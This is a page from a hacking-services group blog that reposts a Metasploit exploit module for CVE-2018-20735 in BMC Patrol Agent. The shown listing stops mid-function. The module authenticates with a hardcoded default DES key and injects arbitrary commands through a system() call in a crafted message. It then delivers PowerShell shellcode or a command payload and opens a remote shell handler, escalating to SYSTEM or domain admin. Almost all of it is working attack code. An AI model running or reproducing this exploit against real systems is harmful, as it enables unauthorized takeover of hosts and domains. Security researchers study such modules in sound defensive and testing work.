Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    863102318

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'zlib'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Powershell

  @deflater = nil
  @inflater = nil

  SBOXES = [
    0x20022000, 0x20000000, 0x0, 0x20022000, 0x0, 0x20022000, 0x20000000, 0x0, 0x20022000,
    0x20022000, 0x20000000, 0x22000, 0x22000, 0x0, 0x0, 0x20000000, 0x20000000, 0x0,
    0x22000, 0x20022000, 0x20022000, 0x20000000, 0x22000, 0x22000, 0x0, 0x22000,
    0x20022000, 0x20000000, 0x22000, 0x22000, 0x20000000, 0x0, 0x0, 0x20022000, 0x22000,
    0x20000000, 0x20022000, 0x20000000, 0x22000, 0x22000, 0x20000000, 0x22000,
    0x20022000, 0x0, 0x20022000, 0x0, 0x0, 0x20000000, 0x20022000, 0x20022000, 0x20000000,
    0x22000, 0x0, 0x22000, 0x20000000, 0x0, 0x20000000, 0x0, 0x22000, 0x20022000, 0x0,
    0x20000000, 0x22000, 0x20022000, 0x802, 0x2, 0x8000800, 0x8000802, 0x800, 0x8000002,
    0x8000002, 0x8000800, 0x8000002, 0x802, 0x802, 0x8000000, 0x8000800, 0x800,
    0x0, 0x8000002, 0x2, 0x8000000, 0x800, 0x2, 0x8000802, 0x802, 0x8000000, 0x800, 0x8000000,
    0x0, 0x2, 0x8000802, 0x0, 0x8000800, 0x8000802, 0x0, 0x0, 0x8000802, 0x800, 0x8000002,
    0x802, 0x2, 0x8000000, 0x800, 0x8000802, 0x0, 0x2, 0x8000800, 0x8000002, 0x8000000,
    0x8000800, 0x802, 0x8000802, 0x2, 0x802, 0x8000800, 0x800, 0x8000000, 0x8000002,
    0x0, 0x2, 0x800, 0x8000800, 0x802, 0x8000000, 0x8000802, 0x0, 0x8000002, 0x2200004,
    0x0, 0x2200000, 0x0, 0x4, 0x2200004, 0x2200000, 0x2200000, 0x2200000, 0x4, 0x4, 0x2200000,
    0x4, 0x2200000, 0x0, 0x4, 0x0, 0x2200004, 0x4, 0x2200000, 0x2200004, 0x0, 0x0, 0x4, 0x2200004,
    0x2200004, 0x2200000, 0x4, 0x0, 0x0, 0x2200004, 0x2200004, 0x4, 0x2200000, 0x2200000,
    0x2200004, 0x2200004, 0x4, 0x4, 0x0, 0x0, 0x2200004, 0x0, 0x4, 0x2200000, 0x0, 0x2200004,
    0x2200004, 0x2200000, 0x2200000, 0x0, 0x4, 0x4, 0x2200004, 0x2200000, 0x0, 0x4, 0x0,
    0x2200004, 0x2200000, 0x2200004, 0x4, 0x0, 0x2200000, 0x1100004, 0x0, 0x4, 0x1100004,
    0x1100000, 0x0, 0x1100000, 0x4, 0x0, 0x1100004, 0x0, 0x1100000, 0x4, 0x1100004, 0x1100004,
    0x0, 0x4, 0x1100000, 0x1100004, 0x0, 0x4, 0x1100000, 0x0, 0x4, 0x1100000, 0x4, 0x1100004,
    0x1100000, 0x1100000, 0x4, 0x0, 0x1100004, 0x4, 0x1100004, 0x1100000, 0x4, 0x1100004,
    0x4, 0x1100000, 0x0, 0x1100000, 0x0, 0x4, 0x1100004, 0x0, 0x1100000, 0x4, 0x1100000,
    0x1100004, 0x0, 0x0, 0x1100000, 0x0, 0x1100004, 0x4, 0x1100004, 0x1100004, 0x4, 0x0,
    0x1100000, 0x1100000, 0x0, 0x1100004, 0x4, 0x0, 0x10000400, 0x400, 0x400, 0x10000000,
    0x0, 0x400, 0x10000400, 0x400, 0x10000000, 0x10000000, 0x0, 0x10000400, 0x400,
    0x0, 0x10000000, 0x0, 0x10000000, 0x10000400, 0x400, 0x400, 0x10000400, 0x10000000,
    0x0, 0x10000000, 0x400, 0x10000400, 0x10000000, 0x10000400, 0x0, 0x0, 0x10000400,
    0x10000400, 0x400, 0x0, 0x10000000, 0x400, 0x10000000, 0x10000000, 0x400, 0x0,
    0x10000400, 0x10000400, 0x10000000, 0x10000000, 0x0, 0x10000400, 0x0, 0x10000400,
    0x0, 0x0, 0x10000400, 0x10000000, 0x400, 0x400, 0x10000400, 0x400, 0x0, 0x10000000,
    0x400, 0x0, 0x10000400, 0x400, 0x10000000, 0x4011000, 0x11001, 0x0, 0x4011000,
    0x4000001, 0x11000, 0x4011000, 0x1, 0x11000, 0x1, 0x11001, 0x4000000, 0x4011001,
    0x4000000, 0x4000000, 0x4011001, 0x0, 0x4000001, 0x11001, 0x0, 0x4000000, 0x4011001,
    0x1, 0x4011000, 0x4011001, 0x11000, 0x4000001, 0x11001, 0x1, 0x0, 0x11000, 0x4000001,
    0x11001, 0x0, 0x4000000, 0x1, 0x4000000, 0x4000001, 0x11001, 0x4011000, 0x0, 0x11001,
    0x1, 0x4011001, 0x4000001, 0x11000, 0x4011001, 0x4000000, 0x4000001, 0x4011000,
    0x11000, 0x4011001, 0x1, 0x11000, 0x4011000, 0x1, 0x11000, 0x0, 0x4011001, 0x4000000,
    0x4011000, 0x4000001, 0x0, 0x11001, 0x40002, 0x40000, 0x2, 0x40002, 0x0, 0x0, 0x40002,
    0x2, 0x40000, 0x2, 0x0, 0x40002, 0x2, 0x40002, 0x0, 0x0, 0x2, 0x40000, 0x40000, 0x2, 0x40000,
    0x40002, 0x0, 0x40000, 0x40002, 0x0, 0x2, 0x40000, 0x40000, 0x2, 0x40002, 0x0, 0x2, 0x40002,
    0x0, 0x2, 0x40000, 0x40000, 0x2, 0x0, 0x40002, 0x0, 0x40000, 0x2, 0x0, 0x2, 0x40000, 0x40000,
    0x0, 0x40002, 0x40002, 0x0, 0x40002, 0x2, 0x40000, 0x40002, 0x2, 0x40000, 0x0, 0x40002,
    0x40002, 0x0, 0x2, 0x40000, 0x20000110, 0x40000, 0x20000000, 0x20040110, 0x0, 0x40110,
    0x20040000, 0x20000110, 0x40110, 0x20040000, 0x40000, 0x20000000, 0x20040000,
    0x20000110, 0x110, 0x40000, 0x20040110, 0x110, 0x0, 0x20000000, 0x110, 0x20040000,
    0x40110, 0x0, 0x20000000, 0x0, 0x20000110, 0x40110, 0x40000, 0x20040110, 0x20040110,
    0x110, 0x20040110, 0x20000000, 0x110, 0x20040000, 0x110, 0x40000, 0x20000000,
    0x40110, 0x20040000, 0x0, 0x0, 0x20000110, 0x0, 0x20040110, 0x40110, 0x0, 0x40000,
    0x20040110, 0x20000110, 0x110, 0x20040110, 0x20000000, 0x40000, 0x20000110,
    0x20000110, 0x110, 0x40110, 0x20040000, 0x20000000, 0x40000, 0x20040000, 0x40110,
    0x0, 0x4000000, 0x11000, 0x4011008, 0x4000008, 0x11000, 0x4011008, 0x4000000,
    0x4000000, 0x8, 0x8, 0x4011000, 0x11008, 0x4000008, 0x4011000, 0x0, 0x4011000, 0x0,
    0x4000008, 0x11008, 0x11000, 0x4011008, 0x0, 0x8, 0x8, 0x11008, 0x4011008, 0x4000008,
    0x4000000, 0x11000, 0x11008, 0x4011000, 0x4011000, 0x11008, 0x4000008, 0x4000000,
    0x4000000, 0x8, 0x8, 0x11000, 0x0, 0x4011000, 0x4011008, 0x0, 0x4011008, 0x0, 0x11000,
    0x4000008, 0x11008, 0x11000, 0x0, 0x4011008, 0x4000008, 0x4011000, 0x11008, 0x4000000,
    0x4011000, 0x4000008, 0x11000, 0x11008, 0x8, 0x4011008, 0x4000000, 0x8, 0x22000,
    0x0, 0x0, 0x22000, 0x22000, 0x22000, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x0, 0x22000, 0x22000,
    0x22000, 0x0, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x0, 0x22000, 0x22000,
    0x0, 0x22000, 0x0, 0x0, 0x22000, 0x22000, 0x22000, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x22000,
    0x22000, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x22000,
    0x22000, 0x0, 0x0, 0x0, 0x22000, 0x22000, 0x0, 0x0, 0x0, 0x22000, 0x22000, 0x110, 0x110,
    0x0, 0x80000, 0x110, 0x80000, 0x80110, 0x0, 0x80110, 0x80110, 0x80000, 0x0, 0x80000,
    0x110, 0x0, 0x80110, 0x0, 0x80110, 0x110, 0x0, 0x80000, 0x110, 0x80000, 0x110, 0x80110,
    0x0, 0x0, 0x80110, 0x110, 0x80000, 0x80110, 0x80000, 0x80110, 0x0, 0x80000, 0x80110,
    0x80000, 0x110, 0x0, 0x80000, 0x0, 0x80000, 0x110, 0x0, 0x110, 0x80110, 0x80000, 0x110,
    0x80110, 0x80000, 0x0, 0x80110, 0x110, 0x0, 0x80110, 0x0, 0x80000, 0x110, 0x80110,
    0x80000, 0x0, 0x80110, 0x110, 0x110, 0x2200000, 0x8, 0x0, 0x2200008, 0x8, 0x0, 0x2200000,
    0x8, 0x0, 0x2200008, 0x8, 0x2200000, 0x2200000, 0x2200000, 0x2200008, 0x8, 0x8, 0x2200000,
    0x2200008, 0x0, 0x0, 0x0, 0x2200008, 0x2200008, 0x2200008, 0x2200008, 0x2200000,
    0x0, 0x0, 0x8, 0x8, 0x2200000, 0x0, 0x2200000, 0x2200000, 0x8, 0x2200008, 0x8, 0x0, 0x2200000,
    0x2200000, 0x0, 0x2200008, 0x8, 0x8, 0x2200008, 0x8, 0x0, 0x2200008, 0x8, 0x8, 0x2200000,
    0x2200000, 0x2200008, 0x8, 0x0, 0x0, 0x2200000, 0x2200000, 0x2200008, 0x2200008,
    0x0, 0x0, 0x2200008, 0x1100000, 0x800, 0x800, 0x1, 0x1100801, 0x1100001, 0x1100800,
    0x0, 0x0, 0x801, 0x801, 0x1100000, 0x1, 0x1100800, 0x1100000, 0x801, 0x801, 0x1100000,
    0x1100001, 0x1100801, 0x0, 0x800, 0x1, 0x1100800, 0x1100001, 0x1100801, 0x1100800,
    0x1, 0x1100801, 0x1100001, 0x800, 0x0, 0x1100801, 0x1100000, 0x1100001, 0x801,
    0x1100000, 0x800, 0x0, 0x1100001, 0x801, 0x1100801, 0x1100800, 0x0, 0x800, 0x1, 0x1,
    0x800, 0x0, 0x801, 0x800, 0x1100800, 0x801, 0x1100000, 0x1100801, 0x0, 0x1100800,
    0x1, 0x1100001, 0x1100801, 0x1, 0x1100800, 0x1100000, 0x1100001, 0x0, 0x0, 0x400,
    0x10000400, 0x10000400, 0x10000000, 0x0, 0x0, 0x400, 0x10000400, 0x10000000, 0x400,
    0x10000000, 0x400, 0x400, 0x10000000, 0x10000400, 0x0, 0x10000000, 0x10000400,
    0x0, 0x400, 0x10000400, 0x0, 0x10000400, 0x10000000, 0x400, 0x10000000, 0x10000000,
    0x10000400, 0x0, 0x400, 0x10000000, 0x400, 0x10000400, 0x10000000, 0x0, 0x0, 0x400,
    0x10000400, 0x10000400, 0x10000000, 0x0, 0x0, 0x0, 0x10000400, 0x10000000, 0x400,
    0x0, 0x10000400, 0x400, 0x0, 0x10000000, 0x0, 0x10000400, 0x400, 0x400, 0x10000000,
    0x10000000, 0x10000400, 0x10000400, 0x400, 0x400, 0x10000000, 0x220, 0x8000000,
    0x8000220, 0x0, 0x8000000, 0x220, 0x0, 0x8000220, 0x220, 0x0, 0x8000000, 0x8000220,
    0x8000220, 0x8000220, 0x220, 0x0, 0x8000000, 0x8000220, 0x220, 0x8000000, 0x8000220,
    0x220, 0x0, 0x8000000, 0x0, 0x0, 0x8000220, 0x220, 0x0, 0x8000000, 0x8000000, 0x220,
    0x0, 0x8000000, 0x220, 0x8000220, 0x8000220, 0x0, 0x0, 0x8000000, 0x220, 0x8000220,
    0x8000000, 0x220, 0x8000000, 0x220, 0x220, 0x8000000, 0x8000220, 0x0, 0x0, 0x220,
    0x8000000, 0x8000220, 0x8000220, 0x0, 0x220, 0x8000000, 0x8000220, 0x0, 0x0, 0x220,
    0x8000000, 0x8000220, 0x80220, 0x80220, 0x0, 0x0, 0x80000, 0x220, 0x80220, 0x80220,
    0x0, 0x80000, 0x220, 0x0, 0x220, 0x80000, 0x80000, 0x80220, 0x0, 0x220, 0x220, 0x80000,
    0x80220, 0x80000, 0x0, 0x220, 0x80000, 0x220, 0x80000, 0x80220, 0x220, 0x0, 0x80220,
    0x0, 0x220, 0x0, 0x80000, 0x80220, 0x0, 0x80000, 0x0, 0x220, 0x80220, 0x80000, 0x80000,
    0x220, 0x80220, 0x0, 0x220, 0x80000, 0x80220, 0x220, 0x80220, 0x80000, 0x220, 0x0,
    0x80000, 0x80220, 0x0, 0x80220, 0x220, 0x0, 0x80000, 0x80220, 0x0, 0x220
  ].freeze

  PC1 = "\x38\x30\x28\x20\x18\x10\x8\x0\x39\x31\x29\x21\x19\x11\x9"\
  "\x1\x3A\x32\x2A\x22\x1A\x12\x0A\x2\x3B\x33\x2B\x23\x3E\x36"\
  "\x2E\x26\x1E\x16\x0E\x6\x3D\x35\x2D\x25\x1D\x15\x0D\x5\x3C"\
  "\x34\x2C\x24\x1C\x14\x0C\x4\x1B\x13\x0B\x3\x0\x0\x0\x0\x0\x0\x0\x0".freeze

  PC2 = "\x0D\x10\x0A\x17\x0\x4\x2\x1B\x0E\x5\x14\x9\x16\x12\x0B\x3"\
  "\x19\x7\x0F\x6\x1A\x13\x0C\x1\x28\x33\x1E\x24\x2E\x36\x1D"\
  "\x27\x32\x2C\x20\x2F\x2B\x30\x26\x37\x21\x34\x2D\x29\x31"\
  "\x23\x1C\x1F".freeze

  SBOX_BYTE_ORDER = [
    1, 2, 4, 8, 0x10, 0x20, 0x40, 0x80, 0x100, 0x200, 0x400, 0x800, 0x1000, 0x2000,
    0x4000, 0x8000, 0x10000, 0x20000, 0x40000, 0x80000, 0x100000, 0x200000, 0x400000,
    0x800000, 0x1000000, 0x2000000, 0x4000000, 0x8000000, 0x10000000, 0x20000000,
    0x40000000, 0x80000000
  ].freeze

  ROTATIONS = "\x1\x1\x2\x2\x2\x2\x2\x2\x1\x2\x2\x2\x2\x2\x2\x1".freeze
  INIT_DES_KEY_0 = "\x9a\xd3\xbc\x24\x10\xe2\x8f\x0e".freeze
  INIT_DES_KEY_1 = "\xe2\x95\x14\x33\x59\xc3\xec\xa8".freeze

  DES_ENCRYPT = 0

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'BMC Patrol Agent Privilege Escalation Cmd Execution',
      'Description'    => %q(
        This module leverages the remote command execution feature provided by
        the BMC Patrol Agent software. It can also be used to escalate privileges
        on Windows hosts as the software runs as SYSTEM but only verfies that the password
        of the provided user is correct. This also means if the software is running on a
        domain controller, it can be used to escalate from a normal domain user to domain
        admin as SYSTEM on a DC is DA. **WARNING** The windows version of this exploit uses
        powershell to execute the payload. The powershell version tends to timeout on
        the first run so it may take multiple tries.
      ),
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'b0yd' # @rwincey / Vulnerability Discovery and MSF module author
        ],
      'References'     =>
        [
          ['CVE', '2018-20735'],
          ['URL', 'https://www.securifera.com/blog/2018/12/17/bmc-patrol-agent-domain-user-to-domain-admin/']
        ],
      'Platform'       => ['win', 'linux'],
      'Targets'        =>
        [
          [
            'Windows Powershell Injected Shellcode', {
              'Platform' => 'win'
            }
          ],
          [
            'Generic Command Callback', {
              'Arch' => ARCH_CMD,
              'Platform' => %w[linux unix win]
            }
          ]
        ],
      'Privileged'     => true,
      'DefaultTarget'  => 0,
      'DefaultOptions' => {
        'DisablePayloadHandler' => true
      },
      'DisclosureDate' => 'Jan 17 2019'))

    register_options(
      [
        Opt::RPORT(3181),
        OptString.new('USER',     [true,  'local or domain user to authenticate with patrol', 'patrol']),
        OptString.new('PASSWORD', [true,  'password to authenticate with patrol', 'password']),
        OptString.new('CMD',      [false, 'command to run on the target. If this option is specified the payload will be ignored.'])
      ]
    )

  end

  def cleanup
    disconnect
    print_status("Disconnected from BMC Patrol Agent.")
    @inflater.close
    @deflater.close
    super
  end

  def get_target_os(srv_info_msg)
    lines = srv_info_msg.split("\n")
    fail_with(Failure::UnexpectedReply, "Invalid server info msg.") if lines[0] != "MS" && lines[1] != "{" && lines[-1] != "}"

    os = nil
    ver = nil
    lines[2..-2].each do |i|
      val = i.split("=")
      if val.length == 2
        if val[0].strip! == "T"
          os = val[1]
        elsif val[0].strip! == "VER"
          ver = val[1]
        end
      end
    end
    [os, ver]
  end

  def get_cmd_output(cmd_output_msg)

    lines = cmd_output_msg.split("\n")
    fail_with(Failure::UnexpectedReply, "Invalid command output msg.") if lines[0] != "PEM_MSG" && lines[1] != "{" && lines[-1] != "}"

    # Parse out command results
    idx_start = cmd_output_msg.index("Result\x00")
    idx_end = cmd_output_msg.index("RemPsl_user")
    output = cmd_output_msg[idx_start + 7..idx_end - 1]

    output
  end

  def exploit

    # Manually start the handler if not running a single command
    if datastore['CMD'].nil? || datastore['CMD'].empty?

      # Set to nil if the cmd is empty for checks further down
      datastore['CMD'] = nil
      datastore['DisablePayloadHandler'] = false

      # Configure the payload handler
      payload_instance.exploit_config = {
        'active_timeout' => 300
      }
      # Setup the payload handler
      payload_instance.setup_handler

      # Start the payload handler
      payload_instance.start_handler

    end

    # Initialize zlib objects
    @deflater = Zlib::Deflate.new(4, 15, Zlib::MAX_MEM_LEVEL, Zlib::DEFAULT_STRATEGY)
    @inflater = Zlib::Inflate.new

    # Connect to the BMC Patrol Agent
    connect
    print_status("Connected to BMC Patrol Agent.")

    # Create session msg
    create_session
    ret_data = receive_msg
    fail_with(Failure::UnexpectedReply, "Failed to receive session confirmation. Aborting.") if ret_data.nil?

    # Authenticate
    authenticate_user(datastore['USER'], datastore['PASSWORD'])

    # Receive the authentication response
    ret_data = receive_msg
    fail_with(Failure::UnexpectedReply, "Failed to receive authentication response. Aborting.") if ret_data.nil?

    ret_msg = process_response(ret_data)
    if ret_msg =~ /logged in/
      print_status("Successfully authenticated user.")
    else
      fail_with(Failure::UnexpectedReply, "Login failed. Aborting.")
    end

    # Receive the server info
    ret_data = receive_msg
    fail_with(Failure::UnexpectedReply, "Failed to receive server info msg. Aborting.") if ret_data.nil?
    srv_info = process_response(ret_data)

    # Get the target's OS from their info msg
    target_os = get_target_os(srv_info)

    # When using autotargeting, MSF selects the Windows meterpreter as the default payload.
    # Fail if this is the case and ask the user to select an appropriate payload.
    if target_os[0] == 'Linux' && payload_instance.name =~ /Windows/ && datastore['CMD'].nil?
      fail_with(Failure::BadConfig, "#{peer} - Select a compatible payload for this Linux target.")
    end

    target_name = target.name
    if !datastore['CMD'].nil?
      command = datastore['CMD'].tr('"', '\"')
      print_status("Command to execute: #{command}")
    elsif target_name == 'Windows Powershell Injected Shellcode'
      # Get encoded powershell of payload
      command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, encode_final_payload: true, method: 'reflection')
    else
      command = payload.raw.tr('"', '\"')
    end

    # Run command
    run_cmd(command)

    # Receive command confirmation
    ret_data = receive_msg
    if !ret_data.nil?
      process_response(ret_data)
    end

    # Receive command output
    ret_data = receive_msg
    if !ret_data.nil? && !datastore['CMD'].nil?
      cmd_result_data = process_response(ret_data)
      cmd_result = get_cmd_output(cmd_result_data)
      print_status("Output:\n#{cmd_result}")
    end

    # Handle the shell
    handler

  end

  def receive_msg

    header = sock.get_once(6)
    if header.nil?
      return
    end

    payload_size_arr = header[0, 4]
    payload_size = payload_size_arr.unpack1("N")
    payload = ''
    if payload_size > 0
      payload = sock.get_once(payload_size)
      if payload.nil?
        return
      end
    end

    return header + payload

  end

  def send_msg(type, compression, data)

    data_len = data.length
    buf = [data_len].pack('N')

    # Set the type
    buf += [type].pack('C')

    # Set compression flag
    buf += [compression].pack('C')

    # Add data
    buf += data

    # Send msg
    sock.put(buf)

  end

  def process_response(ret_data)

    # While style checks complain, I intend to leave this parsing
    # in place for debugging purposes
    ret_size_arr = ret_data[0, 4]
    ret_size = ret_size_arr.unpack1("N") # rubocop:disable Lint/UselessAssignment

    msg_type = ret_data[4, 1] # rubocop:disable Lint/UselessAssignment
    comp_flag = ret_data[5, 1]

    payload_data = ret_data[6..-1]
    if comp_flag == "\x00"
      bin_data = payload_data.unpack1("H*") # rubocop:disable Lint/UselessAssignment
      payload_data = @inflater.inflate(payload_data)
    end

    return payload_data

  end

  def run_cmd(cmd)

    user_num = rand 1000..9999
    msg_1 = %(R_E
{
\tRE_ID=1
\tRE_PDESC=0\tRemPsl\tsystem("#{cmd}");\tRemPsl_user_#{user_num}
\tRE_ORG=PemApi
\tRE_SEV=1
\tRE_NSEV=5
\tRE_ST=
}
)

    msg_1 += "\x00"
    # Compress the message
    comp_data = @deflater.deflate msg_1, Zlib::SYNC_FLUSH
    send_msg(0x44, 0x0, comp_data)

  end

  def identify(user)

    inner_len = 15
    msg_type = 8
    len_str = [inner_len].pack("N")
    msg_str = [msg_type].pack("N")
    msg_1 = %(PEM_MSG
{
\tNSDL=#{inner_len}
\tPEM_DGRAM=#{len_str}#{msg_str}#{user}\x00
}
)
    msg_1 += "\x00"
    print_status("Msg: #{msg_1}")
    bin_data = msg_1.unpack1("H*") # rubocop:disable Lint/UselessAssignment
    # Compress the message
    comp_data = @deflater.deflate msg_1, Zlib::SYNC_FLUSH
    send_msg(0x44, 0x0, comp_data)

  end

  def create_session
    sess_msg = "\x00\x00\x00\x00\x00\x00\x00\x00\x05\x02\x00\x04\x02\x04\x03\x10\x00\x00\x03\x04\x00\x00\x00\x00\x01\x01\x04\x00\xff\x00\x00\x00"
    sess_msg += "\x00" * 0x68
    send_msg(0x45, 0x2, sess_msg)
  end

  def authenticate_user(user, password)
    # Default encryption key
    enc_key = 'k$C4}@"_'
    output_data = des_crypt_func(password, enc_key, DES_ENCRYPT)
    # Convert to hex string
    encrpted_pw = output_data.unpack1("H*")
    des_pw = encrpted_pw.upcase

    msg_1 = %(ID
{
\tHOST=user
\tUSER=#{user}
\tPASS=#{des_pw}
\tVER=V9.6.00
\tT=PEMAPI
\tHTBT=1
\tTMOT=1728000
\tRTRS=3
}
)

    msg_1 += "\x00"
    comp_data = @deflater.deflate msg_1, Zlib::SYNC_FLUSH
    send_msg(0x44, 0x0, comp_data)

  end

  def rotate_block_init(input_block_tuple)

    v6 = 0
    v5 = 0
    input_block_tuple = input_block_tuple.pack("V*").unpack("i*")
    v3 = input_block_tuple[0]
    v4 = input_block_tuple[1]

    if (v4 & 0x2000000) != 0
      v5 = 1
    end
    if (v4 & 0x20000) != 0
      v5 |= 2
    end
    if (v4 & 0x200) != 0
      v5 |= 4
    end
    if (v4 & 2) != 0
      v5 |= 8
    end
    if (v3 & 0x2000000) != 0
      v5 |= 0x10
    end
    if (v3 & 0x20000) != 0
      v5 |= 0x20
    end
    if (v3 & 0x200) != 0
      v5 |= 0x40
    end
    if (v3 & 2) != 0
      v5 |= 0x80
    end
    if (v4 & 0x8000000) != 0
      v5 |= 0x100
    end
    if (v4 & 0x80000) != 0
      v5 |= 0x200
    end
    if (v4 & 0x800) != 0
      v5 |= 0x400
    end
    if (v4 & 8) != 0
      v5 |= 0x800
    end
    if (v3 & 0x8000000) != 0
      v5 |= 0x1000
    end
    if (v3 & 0x80000) != 0
      v5 |= 0x2000
    end
    if (v3 & 0x800) != 0
      v5 |= 0x4000
    end
    if (v3 & 8) != 0
      v5 |= 0x8000
    end
    if (v4 & 0x20000000) != 0
      v5 |= 0x10000
    end
    if (v4 & 0x200000) != 0
      v5 |= 0x20000
    end
    if (v4 & 0x2000) != 0
      v5 |= 0x40000
    end
    if (v4 & 0x20) != 0
      v5 |= 0x80000
    end
    if (v3 & 0x20000000) != 0
      v5 |= 0x100000
    end
    if (v3 & 0x200000) != 0
      v5 |= 0x200000
    end
    if (v3 & 0x2000) != 0
      v5 |= 0x400000
    end
    if (v3 & 0x20) != 0
      v5 |= 0x800000
    end
    if (v4 < 0)
      v5 |= 0x1000000
    end
    if (v4 & 0x800000) != 0
      v5 |= 0x2000000
    end
    if (v4 & 0x8000) != 0
      v5 |= 0x4000000
    end
    if (v4 & 0x80) != 0
      v5 |= 0x8000000
    end
    if (v3 < 0)
      v5 |= 0x10000000
    end
    if (v3 & 0x800000) != 0
      v5 |= 0x20000000
    end
    if (v3 & 0x8000) != 0
      v5 |= 0x40000000
    end
    if (v3 & 0x80) != 0
      v5 |= 0x80000000
    end
    if (v4 & 0x1000000) != 0
      v6 = 1
    end
    if (v4 & 0x10000) != 0
      v6 |= 2
    end
    if (v4 & 0x100) != 0
      v6 |= 4
    end
    if (v4 & 1) != 0
      v6 |= 8
    end
    if (v3 & 0x1000000) != 0
      v6 |= 0x10
    end
    if (v3 & 0x10000) != 0
      v6 |= 0x20
    end
    if (v3 & 0x100) != 0
      v6 |= 0x40
    end
    if (v3 & 1) != 0
      v6 |= 0x80
    end
    if (v4 & 0x4000000) != 0
      v6 |= 0x100
    end
    if (v4 & 0x40000) != 0
      v6 |= 0x200
    end
    if (v4 & 0x400) != 0
      v6 |= 0x400
    end
    if (v4 & 4) != 0
      v6 |= 0x800
    end
    if (v3 & 0x4000000) != 0
      v6 |= 0x1000
    end
    if (v3 & 0x40000) != 0
      v6 |= 0x2000
    end
    if (v3 & 0x400) != 0
      v6 |= 0x4000
    end
    if (v3 & 4) != 0
      v6 |= 0x8000
    end
    if (v4 & 0x10000000) != 0
      v6 |= 0x10000
    end
    if (v4 & 0x100000) != 0
      v6 |= 0x20000
    end
    if (v4 & 0x1000) != 0
      v6 |= 0x40000
    end
    if (v4 & 0x10) != 0
      v6 |= 0x80000
    end
    if (v3 & 0x10000000) != 0
      v6 |= 0x100000
    end
    if (v3 & 0x100000) != 0
      v6 |= 0x200000
    end
    if (v3 & 0x1000) != 0
      v6 |= 0x400000
    end
    if (v3 & 0x10) != 0
      v6 |= 0x800000
    end
    if (v4 & 0x40000000) != 0
      v6 |= 0x1000000
    end
    if (v4 & 0x400000) != 0
      v6 |= 0x2000000
    end
    if (v4 & 0x4000) != 0
      v6 |= 0x4000000
    end
    if (v4 & 0x40) != 0
      v6 |= 0x8000000
    end
    if (v3 & 0x40000000) != 0
      v6 |= 0x10000000
    end
    if (v3 & 0x400000) != 0
      v6 |= 0x20000000
    end
    if (v3 & 0x4000) != 0
      v6 |= 0x40000000
    end
    if (v3 & 0x40) != 0
      v6 |= 0x80000000
    end

    # Create return tuple
    ret_block = Array.new
    ret_block.push v5
    ret_block.push v6
    ret_block
  end

  def rotate_block_final(input_block_tuple)

    v6 = 0
    v5 = 0
    input_block_tuple = input_block_tuple.pack("V*").unpack("i*")
    v3 = input_block_tuple[0]
    v4 = input_block_tuple[1]

    if (v4 & 0x80) != 0
      v5 = 1
    end
    if (v3 & 0x80) != 0
      v5 |= 2
    end
    if (v4 & 0x8000) != 0
      v5 |= 4
    end
    if (v3 & 0x8000) != 0
      v5 |= 8
    end
    if (v4 & 0x800000) != 0
      v5 |= 0x10
    end
    if (v3 & 0x800000) != 0
      v5 |= 0x20
    end
    if (v4 < 0)
      v5 |= 0x40
    end
    if (v3 < 0)
      v5 |= 0x80
    end
    if (v4 & 0x40) != 0
      v5 |= 0x100
    end
    if (v3 & 0x40) != 0
      v5 |= 0x200
    end
    if (v4 & 0x4000) != 0
      v5 |= 0x400
    end
    if (v3 & 0x4000) != 0
      v5 |= 0x800
    end
    if (v4 & 0x400000) != 0
      v5 |= 0x1000
    end
    if (v3 & 0x400000) != 0
      v5 |= 0x2000
    end
    if (v4 & 0x40000000) != 0
      v5 |= 0x4000
    end
    if (v3 & 0x40000000) != 0
      v5 |= 0x8000
    end
    if (v4 & 0x20) != 0
      v5 |= 0x10000
    end
    if (v3 & 0x20) != 0
      v5 |= 0x20000
    end
    if (v4 & 0x2000) != 0
      v5 |= 0x40000
    end
    if (v3 & 0x2000) != 0
      v5 |= 0x80000
    end
    if (v4 & 0x200000) != 0
      v5 |= 0x100000
    end
    if (v3 & 0x200000) != 0
      v5 |= 0x200000
    end
    if (v4 & 0x20000000) != 0
      v5 |= 0x400000
    end
    if (v3 & 0x20000000) != 0
      v5 |= 0x800000
    end
    if (v4 & 0x10) != 0
      v5 |= 0x1000000
    end
    if (v3 & 0x10) != 0
      v5 |= 0x2000000
    end
    if (v4 & 0x1000) != 0
      v5 |= 0x4000000
    end
    if (v3 & 0x1000) != 0
      v5 |= 0x8000000
    end
    if (v4 & 0x100000) != 0
      v5 |= 0x10000000
    end
    if (v3 & 0x100000) != 0
      v5 |= 0x20000000
    end
    if (v4 & 0x10000000) != 0
      v5 |= 0x40000000
    end
    if (v3 & 0x10000000) != 0
      v5 |= 0x80000000
    end
    if (v4 & 8) != 0
      v6 = 1
    end
    if (v3 & 8) != 0
      v6 |= 2
    end
    if (v4 & 0x800) != 0
      v6 |= 4
    end
    if (v3 & 0x800) != 0
      v6 |= 8
    end
    if (v4 & 0x80000) != 0
      v6 |= 0x10
    end
    if (v3 & 0x80000) != 0
      v6 |= 0x20
    end
    if (v4 & 0x8000000) != 0
      v6 |= 0x40
    end
    if (v3 & 0x8000000) != 0
      v6 |= 0x80
    end
    if (v4 & 4) != 0
      v6 |= 0x100
    end
    if (v3 & 4) != 0
      v6 |= 0x200
    end
    if (v4 & 0x400) != 0
      v6 |= 0x400
    end
    if (v3 & 0x400) != 0
      v6 |= 0x800
    end
    if (v4 & 0x40000) != 0
      v6 |= 0x1000
    end
    if (v3 & 0x40000) != 0
      v6 |= 0x2000
    end
    if (v4 & 0x4000000) != 0
      v6 |= 0x4000
    end
    if (v3 & 0x4000000) != 0
      v6 |= 0x8000
    end
